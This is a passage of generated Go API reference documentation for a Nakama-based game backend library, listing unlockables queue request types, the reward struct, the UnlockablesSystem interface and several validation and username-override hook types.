Request to remove a set of unlockables from the unlock queue.

func (*UnlockablesQueueRemoveRequest) Descriptor deprecated

func (*UnlockablesQueueRemoveRequest) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesQueueRemoveRequest.ProtoReflect.Descriptor instead.

func (*UnlockablesQueueRemoveRequest) GetInstanceIds

func (x *UnlockablesQueueRemoveRequest) GetInstanceIds() []string

func (*UnlockablesQueueRemoveRequest) ProtoMessage

func (*UnlockablesQueueRemoveRequest) ProtoMessage()

func (*UnlockablesQueueRemoveRequest) ProtoReflect

func (*UnlockablesQueueRemoveRequest) Reset

func (x *UnlockablesQueueRemoveRequest) Reset()

func (*UnlockablesQueueRemoveRequest) String

type UnlockablesQueueSetRequest

type UnlockablesQueueSetRequest struct {

	// Unlockable instance IDs to set.
	InstanceIds []string `protobuf:"bytes,1,rep,name=instance_ids,json=instanceIds,proto3" json:"instance_ids,omitempty"`
	// contains filtered or unexported fields
}

Request to replace the unlock queue with the given set of unlockables.

func (*UnlockablesQueueSetRequest) Descriptor deprecated

func (*UnlockablesQueueSetRequest) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesQueueSetRequest.ProtoReflect.Descriptor instead.

func (*UnlockablesQueueSetRequest) GetInstanceIds

func (x *UnlockablesQueueSetRequest) GetInstanceIds() []string

func (*UnlockablesQueueSetRequest) ProtoMessage

func (*UnlockablesQueueSetRequest) ProtoMessage()

func (*UnlockablesQueueSetRequest) ProtoReflect

func (*UnlockablesQueueSetRequest) Reset

func (x *UnlockablesQueueSetRequest) Reset()

func (*UnlockablesQueueSetRequest) String

func (x *UnlockablesQueueSetRequest) String() string

type UnlockablesRequest

type UnlockablesRequest struct {

	// The unlockable instance ID.
	InstanceId string `protobuf:"bytes,1,opt,name=instance_id,json=instanceId,proto3" json:"instance_id,omitempty"`
	// contains filtered or unexported fields
}

Request body for interacting with a specific unlockable.

func (*UnlockablesRequest) Descriptor deprecated

func (*UnlockablesRequest) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesRequest.ProtoReflect.Descriptor instead.

func (*UnlockablesRequest) GetInstanceId

func (x *UnlockablesRequest) GetInstanceId() string

func (*UnlockablesRequest) ProtoMessage

func (*UnlockablesRequest) ProtoMessage()

func (*UnlockablesRequest) ProtoReflect

func (x *UnlockablesRequest) ProtoReflect() protoreflect.Message

func (*UnlockablesRequest) Reset

func (x *UnlockablesRequest) Reset()

func (*UnlockablesRequest) String

func (x *UnlockablesRequest) String() string

type UnlockablesReward

type UnlockablesReward struct {

	// The updated state of remaining unlockables.
	Unlockables *UnlockablesList `protobuf:"bytes,1,opt,name=unlockables,proto3" json:"unlockables,omitempty"`
	// The reward granted from the unlockable.
	Reward *Reward `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// The available rewards active for the unlockable.
	AvailableRewards *AvailableRewards `protobuf:"bytes,3,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// contains filtered or unexported fields
}

A reward that was granted upon unlock, and a new state of all unlockables.

func (*UnlockablesReward) Descriptor deprecated

func (*UnlockablesReward) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesReward.ProtoReflect.Descriptor instead.

func (*UnlockablesReward) GetAvailableRewards

func (x *UnlockablesReward) GetAvailableRewards() *AvailableRewards

func (*UnlockablesReward) GetReward

func (x *UnlockablesReward) GetReward() *Reward

func (*UnlockablesReward) GetUnlockables

func (x *UnlockablesReward) GetUnlockables() *UnlockablesList

func (*UnlockablesReward) ProtoMessage

func (*UnlockablesReward) ProtoMessage()

func (*UnlockablesReward) ProtoReflect

func (x *UnlockablesReward) ProtoReflect() protoreflect.Message

func (*UnlockablesReward) Reset

func (x *UnlockablesReward) Reset()

func (*UnlockablesReward) String

func (x *UnlockablesReward) String() string

type UnlockablesSystem

type UnlockablesSystem interface {
	System

	// Create will place a new unlockable into a slot either randomly, by ID, or optionally using a custom configuration.
	Create(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, unlockableID string, unlockableConfig *UnlockablesConfigUnlockable) (unlockables *UnlockablesList, err error)

	// Get returns all unlockables active for a user by ID.
	Get(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (unlockables *UnlockablesList, err error)

	// UnlockAdvance will add the given amount of time towards the completion of an unlockable that has been started.
	UnlockAdvance(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, instanceID string, seconds int64) (unlockables *UnlockablesList, err error)

	// UnlockStart will begin an unlock of an unlockable by instance ID for a user.
	UnlockStart(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, instanceID string) (unlockables *UnlockablesList, err error)

	// PurchaseUnlock will immediately unlock an unlockable with the specified instance ID for a user.
	PurchaseUnlock(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, instanceID string) (unlockables *UnlockablesList, err error)

	// PurchaseSlot will create a new slot for a user by ID.
	PurchaseSlot(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (unlockables *UnlockablesList, err error)

	// Claim an unlockable which has been unlocked by instance ID for the user.
	Claim(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, instanceID string) (reward *UnlockablesReward, err error)

	// QueueAdd adds one or more unlockable instance IDs to the queue to be unlocked as soon as an active slot is available.
	QueueAdd(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, instanceIDs []string) (unlockables *UnlockablesList, err error)

	// QueueRemove removes one or more unlockable instance IDs from the unlock queue, unless they have started unlocking already.
	QueueRemove(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, instanceIDs []string) (unlockables *UnlockablesList, err error)

	// QueueSet replaces the entirety of the queue with the specified instance IDs, or wipes the queue if no instance IDs are given.
	QueueSet(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, instanceIDs []string) (unlockables *UnlockablesList, err error)

	// SetOnClaimReward sets a custom reward function which will run after an unlockable's reward is rolled.
	SetOnClaimReward(fn OnReward[*UnlockablesConfigUnlockable])
}

The UnlockablesSystem is a gameplay system which provides slots to store rewards which can be unlocked over time.

type UsernameOverrideFn

type UsernameOverrideFn func(requestedUsername string) string

UsernameOverrideFn can be used to provide a different username generation strategy from the default in Nakama server. Requested username indicates what the username would otherwise be set to, if the incoming request specified a value. The function is always expected to return a value, and returning "" defers to Nakama's built-in behaviour.

type ValidateCreateTeamFn

type ValidateCreateTeamFn func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, req *TeamCreateRequest) *runtime.Error

ValidateCreateTeamFn allows custom rules or velocity checks to be added as a precondition on whether a team is created or not.

type ValidateWriteScoreFn

ValidateWriteScoreFn is a function used to validate the leaderboard score input.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL